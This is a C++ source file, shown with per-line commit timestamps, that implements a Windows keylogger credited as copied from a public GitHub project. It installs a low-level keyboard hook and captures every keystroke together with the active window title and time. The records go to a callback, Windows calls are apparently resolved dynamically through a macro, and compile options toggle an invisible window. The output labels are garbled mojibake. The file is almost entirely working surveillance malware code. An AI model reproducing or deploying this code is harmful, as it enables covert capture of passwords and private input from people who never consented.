2025-06-26 02:07:00 +08:00
|
|
|
|
#include "keylogger.h"
|
|
|
|
|
|
#include <cstring>
|
|
|
|
|
|
#include <cstdio>
|
|
|
|
|
|
#include <time.h>
|
|
|
|
|
|
#include <fstream>
|
|
|
|
|
|
#include <sstream>
|
|
|
|
|
|
#include <map>
|
|
|
|
|
|
#include <string>
|
|
|
|
|
|
|
|
|
|
|
|
#if USING_KB_HOOK
|
|
|
|
|
|
|
|
|
|
|
|
// copied from: https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp
|
|
|
|
|
|
// 2024/02/07 source code last modified
|
|
|
|
|
|
// 2025/02/24 this file last modified
|
|
|
|
|
|
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
// defines whether the window is visible or not
|
|
|
|
|
|
// should be solved with makefile, not in this file
|
|
|
|
|
|
#define visible // (visible / invisible)
|
2025-10-15 04:32:59 +08:00
|
|
|
|
// Defines whether you want to enable or disable
|
2025-06-26 02:07:00 +08:00
|
|
|
|
// boot time waiting if running at system boot.
|
|
|
|
|
|
#define bootwait // (bootwait / nowait)
|
|
|
|
|
|
// defines which format to use for logging
|
|
|
|
|
|
// 0 for default, 10 for dec codes, 16 for hex codex
|
|
|
|
|
|
#define FORMAT 0
|
|
|
|
|
|
// defines if ignore mouseclicks
|
|
|
|
|
|
#define mouseignore
|
|
|
|
|
|
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
|
|
|
|
|
|
// or you will get problems since every function uses this variable.
|
|
|
|
|
|
|
|
|
|
|
|
#if FORMAT == 0
|
2025-10-15 04:32:59 +08:00
|
|
|
|
const std::map<int, std::string> keyname {
|
|
|
|
|
|
{VK_BACK, "[BACKSPACE]" },
|
|
|
|
|
|
{VK_RETURN, "\n" },
|
|
|
|
|
|
{VK_SPACE, "_" },
|
|
|
|
|
|
{VK_TAB, "[TAB]" },
|
|
|
|
|
|
{VK_SHIFT, "[SHIFT]" },
|
|
|
|
|
|
{VK_LSHIFT, "[LSHIFT]" },
|
|
|
|
|
|
{VK_RSHIFT, "[RSHIFT]" },
|
|
|
|
|
|
{VK_CONTROL, "[CONTROL]" },
|
|
|
|
|
|
{VK_LCONTROL, "[LCONTROL]" },
|
|
|
|
|
|
{VK_RCONTROL, "[RCONTROL]" },
|
|
|
|
|
|
{VK_MENU, "[ALT]" },
|
|
|
|
|
|
{VK_LWIN, "[LWIN]" },
|
|
|
|
|
|
{VK_RWIN, "[RWIN]" },
|
|
|
|
|
|
{VK_ESCAPE, "[ESCAPE]" },
|
|
|
|
|
|
{VK_END, "[END]" },
|
|
|
|
|
|
{VK_HOME, "[HOME]" },
|
|
|
|
|
|
{VK_LEFT, "[LEFT]" },
|
|
|
|
|
|
{VK_RIGHT, "[RIGHT]" },
|
|
|
|
|
|
{VK_UP, "[UP]" },
|
|
|
|
|
|
{VK_DOWN, "[DOWN]" },
|
|
|
|
|
|
{VK_PRIOR, "[PG_UP]" },
|
|
|
|
|
|
{VK_NEXT, "[PG_DOWN]" },
|
|
|
|
|
|
{VK_OEM_PERIOD, "." },
|
|
|
|
|
|
{VK_DECIMAL, "." },
|
|
|
|
|
|
{VK_OEM_PLUS, "+" },
|
|
|
|
|
|
{VK_OEM_MINUS, "-" },
|
|
|
|
|
|
{VK_ADD, "+" },
|
|
|
|
|
|
{VK_SUBTRACT, "-" },
|
|
|
|
|
|
{VK_CAPITAL, "[CAPSLOCK]" },
|
2025-06-26 02:07:00 +08:00
|
|
|
|
};
|
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
|
|
// A callback function for processing record by user.
|
|
|
|
|
|
typedef int (CALLBACK* Callback)(const char* record, void* user);
|
|
|
|
|
|
|
|
|
|
|
|
// Global variables.
|
|
|
|
|
|
|
|
|
|
|
|
HHOOK _hook = NULL;
|
|
|
|
|
|
Callback _cllback = NULL;
|
|
|
|
|
|
void* _user = NULL;
|
|
|
|
|
|
|
|
|
|
|
|
// Save parse keyboard information and use callback to process record.
|
|
|
|
|
|
int Save(int key_stroke)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::stringstream output;
|
|
|
|
|
|
static char lastwindow[MAX_PATH] = {};
|
|
|
|
|
|
#ifndef mouseignore
|
|
|
|
|
|
if ((key_stroke == 1) || (key_stroke == 2)) {
|
|
|
|
|
|
return 0; // ignore mouse clicks
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#endif
|
2025-10-15 04:32:59 +08:00
|
|
|
|
HWND foreground = GetForegroundWindow();
|
|
|
|
|
|
HKL layout = NULL;
|
|
|
|
|
|
|
|
|
|
|
|
if (foreground) {
|
|
|
|
|
|
// get keyboard layout of the thread
|
|
|
|
|
|
GET_PROCESS_EASY(GetWindowThreadProcessId);
|
|
|
|
|
|
DWORD threadID = GetWindowThreadProcessId(foreground, NULL);
|
|
|
|
|
|
GET_PROCESS_EASY(GetKeyboardLayout);
|
|
|
|
|
|
layout = GetKeyboardLayout(threadID);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (foreground) {
|
|
|
|
|
|
char window_title[MAX_PATH] = {};
|
|
|
|
|
|
GET_PROCESS_EASY(GetWindowTextA);
|
|
|
|
|
|
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
|
|
|
|
|
|
|
|
|
|
|
if (strcmp(window_title, lastwindow) != 0) {
|
|
|
|
|
|
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
|
|
|
|
|
// get time
|
|
|
|
|
|
SYSTEMTIME s;
|
|
|
|
|
|
GetLocalTime(&s);
|
|
|
|
|
|
char tm[64];
|
|
|
|
|
|
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
|
|
|
|
|
s.wHour, s.wMinute, s.wSecond);
|
|
|
|
|
|
|
|
|
|
|
|
output << "\r\n\r\n[<5B><><EFBFBD><EFBFBD>:] " << window_title << "\r\n[ʱ<><CAB1>:]" << tm << "\r\n[<5B><><EFBFBD><EFBFBD>:]";
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
|
|
|
|
|
|
#if FORMAT == 10
|
2025-10-15 04:32:59 +08:00
|
|
|
|
output << '[' << key_stroke << ']';
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#elif FORMAT == 16
|
2025-10-15 04:32:59 +08:00
|
|
|
|
output << std::hex << "[" << key_stroke << ']';
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#else
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (keyname.find(key_stroke) != keyname.end()) {
|
|
|
|
|
|
output << keyname.at(key_stroke);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
GET_PROCESS_EASY(GetKeyState);
|
|
|
|
|
|
// check caps lock
|
|
|
|
|
|
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
|
|
|
|
|
|
|
|
|
|
|
|
// check shift key
|
|
|
|
|
|
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|
|
|
|
|
|
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
|
|
|
|
|
|
lowercase = !lowercase;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// map virtual key according to keyboard layout
|
|
|
|
|
|
GET_PROCESS_EASY(MapVirtualKeyExA);
|
|
|
|
|
|
char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);
|
|
|
|
|
|
|
|
|
|
|
|
// tolower converts it to lowercase properly
|
|
|
|
|
|
if (!lowercase) {
|
|
|
|
|
|
key = tolower(key);
|
|
|
|
|
|
}
|
|
|
|
|
|
output << char(key);
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
#endif
|
2025-10-15 04:32:59 +08:00
|
|
|
|
// instead of opening and closing file handlers every time, keep file open and flush.
|
|
|
|
|
|
if (NULL != _cllback) {
|
|
|
|
|
|
_cllback(output.str().c_str(), _user);
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return 0;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// This is the callback function. Consider it the event that is raised when, in this case,
|
|
|
|
|
|
// a key is pressed.
|
|
|
|
|
|
LRESULT WINAPI HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (nCode >= 0) {
|
|
|
|
|
|
// the action is valid: HC_ACTION.
|
|
|
|
|
|
if (wParam == WM_KEYDOWN) {
|
|
|
|
|
|
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
|
|
|
|
|
|
// This struct contains the data received by the hook callback. As you see in the callback function
|
|
|
|
|
|
// it contains the thing you will need: vkCode = virtual key code.
|
|
|
|
|
|
KBDLLHOOKSTRUCT kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
|
|
|
|
|
|
|
|
|
|
|
|
// save to file
|
|
|
|
|
|
Save(kbdStruct.vkCode);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// call the next hook in the hook chain. This is necessary or your hook chain will break and the hook stops
|
|
|
|
|
|
GET_PROCESS_EASY(CallNextHookEx);
|
|
|
|
|
|
return CallNextHookEx(_hook, nCode, wParam, lParam);
|
2025-06-26 02:07:00 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// Set the hook and set it to use the callback function provided.
|
|
|
|
|
|
bool SetHook(Callback callback, void* user)
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (NULL != _hook)
|
|
|
|
|
|
return true;
|
|
|
|
|
|
|
|
|
|
|
|
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
|
|
|
|
|
|
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
|
|
|
|
|
|
// function that sets and releases the hook.
|
|
|
|
|
|
GET_PROCESS_EASY(SetWindowsHookExA);
|
|
|
|
|
|
if (NULL != (_hook = SetWindowsHookExA(WH_KEYBOARD_LL, HookCallback, NULL, 0))) {
|
|
|
|
|
|
_cllback = callback;
|
|
|
|
|
|
_user = user;
|
|
|
|
|
|
return true;
|
|
|
|
|
|
}
|
|
|
|
|
|
return false;
|
2025-06-26 02:07:00 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// Release the hook.
|
|
|
|
|
|
void ReleaseHook()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (NULL != _hook) {
|
|
|
|
|
|
GET_PROCESS_EASY(UnhookWindowsHookEx);
|
|
|
|
|
|
UnhookWindowsHookEx(_hook);
|
|
|
|
|
|
_hook = NULL;
|
|
|
|
|
|
_cllback = NULL;
|
|
|
|
|
|
_user = NULL;
|
|
|
|
|
|
}
|
2025-06-26 02:07:00 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
#endif
|